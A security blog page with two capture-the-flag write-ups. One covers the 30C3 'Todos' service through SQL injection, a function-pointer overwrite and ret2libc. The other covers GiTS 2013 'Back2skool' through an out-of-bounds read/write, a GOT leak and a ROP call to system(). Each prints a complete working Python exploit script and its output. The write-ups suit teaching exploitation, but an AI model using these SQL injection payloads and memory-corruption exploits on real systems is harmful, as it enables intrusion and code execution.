codezen.fr code hacking, zen coding

30Dec/13Off

30C3 CTF – PWN 300 – Todos Write-up : SQL injection + ret2libc

Posted by aXs

$ file server
server: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x61abf52683bfa2cf645da3e96ba84f8cdf4842d2, stripped

$ checksec.sh --file server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   server

This binary from the awesome and pwn-heavy 30C3 CTF is a todo-list manager with a telnet interface, ELF binary server and MySQL database as a storage backend.

Sample session:

$ nc -v 88.198.89.199 1234
Connection to 88.198.89.199 1234 port [tcp/*] succeeded!
Welcome to TTT (the todo tool)!

If you're new, try help

help
Commands:
help: Print this help screen
register <user> <pass>: register a new user
login <user> <pass>: Login when you have registered already.
login aXs toto
logged in...
help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry
add toto
Entry added.
search toto
Found 1 entries, use 'show <num>' to show them.
show 0
0: toto

We can find the queries used by the search command in the binary:

.rodata:00000000000022A0 00000047 C SELECT COUNT(*) FROM todos WHERE user = %lld AND content LIKE '%%%s%%'
.rodata:00000000000022E8 00000046 C SELECT content FROM todos WHERE user = %lld AND content LIKE '%%%s%%'

The first query is used to guess the amount of results. The second query is used to fetch the data.

Absolutely no escaping with mysql_real_escape_string() is done in the binary:

.text:0000000000001B79                 lea     rbx, user_id
.text:0000000000001B80                 mov     rsi, [rbx]
.text:0000000000001B83                 call    do_mysql_query

So we can do sql injections like:

search ' UNION ALL SELECT @@version -- #
Found 1 entries, use 'show <num>' to show them.
show 0
0: 5.5.34-0ubuntu0.13.10.1

This service is running on Ubuntu Saucy 64bit, this will be very useful later when we need to find offsets in the libc.

The result of the first query (SELECT COUNT(*) FROM todos WHERE...) is used to help with memory management. If the amount of results is lower or equal to 10, a fixed table in .data is used. Otherwise some space is allocated on the heap (malloc) and the results are stored there.

.text:0000000000001B9E                 mov     rdi, [r13+0]    ; nptr
.text:0000000000001BA2                 xor     esi, esi        ; endptr
.text:0000000000001BA4                 mov     edx, 10         ; base
.text:0000000000001BA9                 call    _strtoll
.text:0000000000001BAE                 mov     rdi, cs:result_table ; ptr
.text:0000000000001BB5                 mov     r12, rax        ; count(*)
.text:0000000000001BB8                 test    rdi, rdi
.text:0000000000001BBB                 jz      short null_result_table
.text:0000000000001BBD                 lea     rax, fixed_result_table
.text:0000000000001BC4                 cmp     rdi, rax
.text:0000000000001BC7                 jz      short null_result_table
.text:0000000000001BC9                 call    _free
.text:0000000000001BCE
.text:0000000000001BCE null_result_table:                      ; CODE XREF: do_search+5Bj
.text:0000000000001BCE                                         ; do_search+67j
.text:0000000000001BCE                 cmp     r12, 10         ; count(*)
.text:0000000000001BD2                 jg      big_result_table
.text:0000000000001BD8                 lea     rax, fixed_result_table
.text:0000000000001BDF                 mov     cs:result_table, rax

There is room for 10 results of 256 chars in the table in .data. After this table in .data we have some very interesting structure:

- The number of results (used by the show command)
- a table of records that describe how to manage the commands

Using some sql trickery we will control the result of the first query (count) to be 1 while we will actually send more than 10 results: we will overwrite past the fixed_result_table table

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"

0x0e00000000000000 (15) will overwrite num_results

.data:0000000000203160 result_table    dq 0                    ; DATA XREF: do_show+47r
.data:0000000000203160                                         ; do_search+4Er ...
.data:0000000000203168 fixed_result_table db 0A00h dup(0)      ; DATA XREF: do_search+5Do
.data:0000000000203168                                         ; do_search+78o
.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
.data:0000000000203B68                                         ; do_search+A0w ...
.data:0000000000203B6C                 align 10h
.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
.data:0000000000203B70                                         ; do_help+23o
.data:0000000000203B78 ; char *ptr_commands
.data:0000000000203B78 ptr_commands    dq offset aHelp         ; "help"
.data:0000000000203B80                 dq offset aSomethingWentW+18h
.data:0000000000203B88                 dq offset do_help
.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"
...
.data:0000000000203C58                 dq offset aLogin        ; "login "
.data:0000000000203C60                 dq offset asc_2208      ; "^([^ ]+) ([^ ]+)$"
.data:0000000000203C68                 dq offset do_login
.data:0000000000203C70                 dq offset aLoginUserPassL ; "login <user> <pass>: Login when you hav"...

By overwriting the structure used to describe the help command, we can control the execution flow and call anything in the binary or library (libc)

Small problems here are that:
- The binary has been PIE-compiled (random base for .text segment)
- ASLR is enabled (libc base is random as well)

So we need to leak some pointers first so we can calculate the base for the binary and the libc and compute new offsets.

Let's focus on this ptr_commands table and notice that for the login structure, the function pointer at 0x203C68 is perfectly aligned with the fixed_result table's 11 result:

0x203168 (fixed_result_table) + 11 * 256 = 0x203C68

So "show 11" will leak the do_login pointer. We know the do_login function is at offset 0x19d0 in the binary, so the ELF base is going to be:

base = do_login - 0x19d0

Unfortunately we can only leak past the fixed_result_table as the 'show' command will not accept a negative index. So we need to find a way to leak the GOT table to calculate the libc base.

The help command to the rescue:

help
Commands:
help: Print this help screen
show <num>: show a record from the last search
search <substring>: search for entries
add <content>: add an entry

help will print a description of the command, this description is referenced inside our ptr_commands table:

.data:0000000000203B78 ptr_commands    dq offset aHelp           ; "help" command
.data:0000000000203B80                 dq offset aSomethingWentW+18h
.data:0000000000203B88                 dq offset do_help         ; function pointer
.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

If we change offset 0x203b90 (aHelpPrintThisH) to another location, that location will be printf. Obvious candidates are entries in GOT table:

.got.plt:0000000000203040 off_203040      dq offset setvbuf       ; DATA XREF: _setvbufr
.got.plt:0000000000203050 off_203050      dq offset read          ; DATA XREF: _readr

We will leak 2 pointers so we can calculate the distance between and verify that the distance match indeed with Ubuntu Saucy Server x86_64's libc.

base = do_login - 0x19d0

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

got_plt = base + 0x00203000
off_read_plt = got_plt + 0x050
help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

After this sql injection, the help command's description string will be a pointer to read@plt in the GOT table. Then we can call the help command and decode the pointer from the output.

We now have read()'s location in the libc, we calculate system() location based on the fact that is this Ubuntu Saucy Server x86_64 libc:

system_plt = read_plt - 0x716be0

Next step is to overwrite again with a SQL injection the 'help' command structure but this time we overwrite the function pointer: typing "help cat /home/user/flag" will in fact call system("cat /home/user/flag").

And we are done.

Full exploit:

import telnetlib
import time
from struct import pack, unpack

def show_to_val(tn, num):
    tn.write("show "+str(num)+"\n")
    raw_data = tn.read_until("\n")[len(str(num)+':')+1:].strip() + "\x00\x00"
    return unpack('<Q', raw_data)[0]

HOST = '88.198.89.199'      # The remote host
#HOST = '62.4.23.92'        # Precise
#HOST = '62.4.19.84'        # Raring
#HOST = '62.4.23.88'         # Saucy
PORT = 1234

tn = telnetlib.Telnet(HOST, PORT)

print "[*] Login"

tn.read_until("If you're new, try help\n")
tn.write("login aXs toto\n")
tn.read_until("logged in...\n")

#time.sleep(3)

#.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
#.data:0000000000203B68                                         ; do_search+A0w ...
#.data:0000000000203B6C                 align 10h
#.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
#.data:0000000000203B70                                         ; display_help+23o
#.data:0000000000203B78 ; char *ptr_commands
#.data:0000000000203B78 ptr_commands    dq offset aHelp         ; DATA XREF: .text:000000000000144Br
#.data:0000000000203B78                                         ; sub_14DE+4Ar ...
#.data:0000000000203B78                                         ; "help"
#.data:0000000000203B80                 dq offset aSomethingWentW+18h
#.data:0000000000203B88                 dq offset display_help
#.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

#0x7fc101a9cb68:  0x0f  0x00  0x00  0x00  0x00  0x00  0x00  0x00 num_results
#0x7fc101a9cb70:  0x03  0x00  0x00  0x00  0x00  0x00  0x00  0x00 help_flags
#0x7fc101a9cb78:  0xdc  0xb1  0x89  0x01  0xc1  0x7f  0x00  0x00 offset aHelp
#0x7fc101a9cb80:  0x62  0xb1  0x89  0x01  0xc1  0x7f  0x00  0x00 offset aSomethingWentW
#0x7fc101a9cb88:  0xa0  0xa7  0x89  0x01  0xc1  0x7f  0x00  0x00 offset display_help

print "\n[*] Prepare for infoleak with SQLi"

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000) -- # \n"

tn.write(query)
tn.read_until("\n")

print "\n[*] Infoleak login function pointer"

do_login = show_to_val(tn, 11)
print "do_login=", hex(do_login)

print "\n[*] Calculate ELF base and pointers"

base = do_login - 0x19d0
print "ELF base=", hex(base)

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]
print "help string offset=", hex(aHelp)

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]
print "Something went wrong string offset=", hex(aSomethingWentW)

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
print "help function offset=", hex(display_help)

got_plt = base + 0x00203000
print "GOT PLT base=", hex(got_plt)

off_read_plt = got_plt + 0x050
print "read@plt base=", hex(off_read_plt)

print "\n[*] Infoleak read@plt"

# We replace the pointer to the help command to the offset we want to leak

help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

s.recv(len("Commands:\n"))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

read_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "read_plt=", hex(read_plt)

print "\n[*] Infoleak setvbuf@plt"

off_setvbuf_plt = got_plt + 0x040

help_txt = off_setvbuf_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

tn.read_until("\n")
tn.read_until("\n")

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

print "help=",repr(s.recv(len("Commands:\n")))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

setvbuf_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "setvbuf_plt=", hex(setvbuf_plt)

print "\n[*] Calculate distance between read and setvbuf in LIBC to find libc version"

print "- Precise: 0x753e0L"
print "- Raring: 0x7a3b0L"
print "- Saucy: 0x7b010L"

check_plt = read_plt - setvbuf_plt
print "distance PLT=", hex(check_plt)

print "\n[*] Calculate system libc offset"

# Precise
#system_plt = read_plt - 0xa1240
# Saucy
system_plt = read_plt - 0x716be0
print "system libc=", hex(system_plt)

print "\n[*] Overwrite help command pointer to system"

display_help = system_plt
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"
query += aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")
tn.read_until("\n")
tn.read_until("\n")

print "\n[*] PWN"

tn.write("help cat /home/user/flag\n")

print tn.read_until("\n")

Output:

[*] Login

[*] Prepare for infoleak with SQLi

[*] Infoleak login function pointer
do_login= 0x7f86fa4d19d0L

[*] Calculate ELF base and pointers
ELF base= 0x7f86fa4d0000L
help string offset= 0x7f86fa4d21dcL
Something went wrong string offset= 0x7f86fa4d214aL
help function offset= 0x7f86fa4d17a0L
GOT PLT base= 0x7f86fa6d3000L
read@plt base= 0x7f86fa6d3050L

[*] Infoleak read@plt
help_txt= 0x7f86fa6d3050L
read_plt= 0x7f86f96bb690L

[*] Infoleak setvbuf@plt
help_txt= 0x7f86fa6d3040L
help= 'Commands:\n'
setvbuf_plt= 0x7f86f9640680L

[*] Calculate distance between read and setvbuf in LIBC to find libc version
- Precise: 0x753e0L
- Raring: 0x7a3b0L
- Saucy: 0x7b010L
distance PLT= 0x7b010L

[*] Calculate system libc offset
system libc= 0x7f86f8fa4ab0L

[*] Overwrite help command pointer to system

[*] PWN
30C3_6627df0c708626cdaa56be9c4474fe61
Share
Tagged as: , , Comments Off
19Feb/13Off

GiTS 2013 CTF – Pwnables 250 Question 10 – Back2skool Write-up

Posted by aXs

back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

This is the binary for MathServ, "The one-stop shop for all your arithmetic needs".

$ nc localhost 31337
    __  ___      __  __   _____
   /  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
  / /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
 / /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

Commands:
  read  Read value from given index in table
  write Write value to given index in table
  func1 Change operation to addition
  func2 Change operation to multiplication
  math  Perform math operation on table
  exit  Quit and disconnect
read
Input position to read from:
1
Value at position 1: 1
write
Input position to write to:
1
Input numeric value to write:
10
Value at position 1: 10
func1
Setting mode to ADDITION
math
Result of math: 54
exit
Exiting program!

You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.

Lets check how the "read" function works:

sendString(sockfd, (int)"Input position to read from:\n");
readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
value =  *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);

There is 2 vulnerabilities here:
- There is no bound checking on the position value
- position can be signed, allowing to use a negative offset

Basically, you can read and write any memory, this will prove useful for information leak purpose.

Lets move to the "write" function:

readUntil(sockfd, (int)&nptr, 0x13u, 10);
position = atoi(&nptr);
if ( position <= 9 )
{
  sendString(sockfd, (int)"Input numeric value to write:\n");
  readUntil(sockfd, (int)&nptr, 0x13u, 10);
  *(_DWORD *)&values[4 * position] = atoi(&nptr);
  sock_printf(sockfd, "Value at position %d: %d\n", position);
}
else
{
  sendString(sockfd, (int)"Table index too large!\n");
}

Almost the same story here except we have an inefficient bound checking:
- You can still enter negative number and the if() check will pass
- As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear

10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2 00000000000000000000000000001100 = 12 = 0xC Now lets focus on the "math" command:

.text:080493A5                 mov     eax, ds:(math_ptr - 804BF54h)[ebx]
.text:080493AB                 mov     edx, [eax]
.text:080493AD                 mov     dword ptr [esp+4], 0Ah
.text:080493B5                 mov     eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB                 mov     [esp], eax
.text:080493BE                 call    edx

The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.

Some complications:
- The stack is NX
- The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc...
- There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve

So our exploit workflow will be:
- Do information leak: get the address of libc's __libc_start_main in the GOT table
- Overwrite the math_ptr with a stack pivot
- Fill the values array with a shell command line : cat key>&4
- Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter
- Read key from socket

Our stack pivot:

.text:08049550                 pop     ebx
.text:08049551                 pop     esi
.text:08049552                 pop     edi
.text:08049553                 pop     ebp
.text:08049554                 retn

A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside libc6.so. You can download this specific version from here for example: http://109.203.104.18/automate/instances/linuxmint/pbuilder/precise-i386/base.cow/lib/i386-linux-gnu/libc-2.15.so

Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function's address in memory.

$ gdb libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
gdb$ p system
$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb$ p __libc_start_main
$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>

The offset between __libc_start_main() and system() is 0x3d170 - 0x193e0 = 0x23D90

So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90

And we know the __libc_start_main() address from the GOT table.

We got everything, so here is the exploit:

import ctypes
import telnetlib
from struct import pack, unpack

math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
addr_values = 0x0804C040
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC

def read_memory(offset):
    position = offset_to_position(offset)
    tn.write("read\n")
    tn.read_until("Input position to read from:")
    tn.write(str(position) + "\n")
    tn.read_until("Value at position ")
    tn.read_until(": ")
    value = long(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def write_memory(offset, value):
    position = offset_to_position(offset)
    tn.write("write\n")
    tn.read_until("Input position to write to:")
    tn.write(str(position) + "\n")
    tn.read_until("Input numeric value to write:")
    tn.write(str(ctypes.c_long(value).value) + "\n")
    tn.read_until("Value at position " )
    tn.read_until( ": ")
    value = int(tn.read_eager().strip())
    return ctypes.c_ulong(value).value

def read_got_value(got, offset):
    return read_memory(got[offset])

def overwrite_got_pointer(got, offset, value):
    return write_memory(got[int(offset, 16)], value)

def offset_to_position(offset, adjust=False):
    if offset < addr_values or adjust:
        position = -((addr_values - offset) >> 2)
    else:
        position = 0x80000000 + ((offset - addr_values) >> 2)
    return ctypes.c_long(position).value

HOST = 'back2skool.2013.ghostintheshellcode.com'
PORT = 31337

tn = telnetlib.Telnet(HOST, PORT)

tn.read_until("Quit and disconnect")

print "Dumping GOT..."

got = {}
ptr = {}

for offset in range(got_table_start, got_table_end+4, 4):
    value = read_memory(offset)
    hex_value = hex(value)
    #print hex(offset),":", hex_value
    got[offset] = value

print "Getting fd and __libc_start_main offset from GOT"

ptr['sockfd'] = read_got_value(got, 0x0804BFF4)
ptr['__libc_start_main'] = got[0x0804BF9C]

for value in ptr:
    print value, '=', hex(ptr[value])

print "Computing system() addresss"
# Challenge box was Ubuntu Precise i386 with libc 2.15
# 32631f59185a4d6ecadffa9f0afc1d74 libc.so.6
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system

print "system() is at", hex(system_ptr)

math = read_memory(math_ptr)
print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))

print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)

print "Current math vfptr is", hex(read_memory(math))

print "Filling values array with shell command"
# cat key>&4\n
write_memory(addr_values,   0x20746163)
write_memory(addr_values+4, 0x3e79656b)
write_memory(addr_values+8, 0x0a0a3426)

print "Putting ROP chain on the stack"
tn.write("read\n")
tn.read_until("Input position to read from:")
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values)  + "\n")
tn.read_until("Value at position ")
tn.read_until(": ")
tn.read_eager()

print "Pwning!"
tn.write("math\n")

print "Reading key:"
print tn.read_all()

tn.write("exit\n")

Results:

$ python pwn250.py
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
Computing system() addresss
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Pwning!
Reading key:
You couldn't own a box if you purchased it

Key is "You couldn't own a box if you purchased it"

Share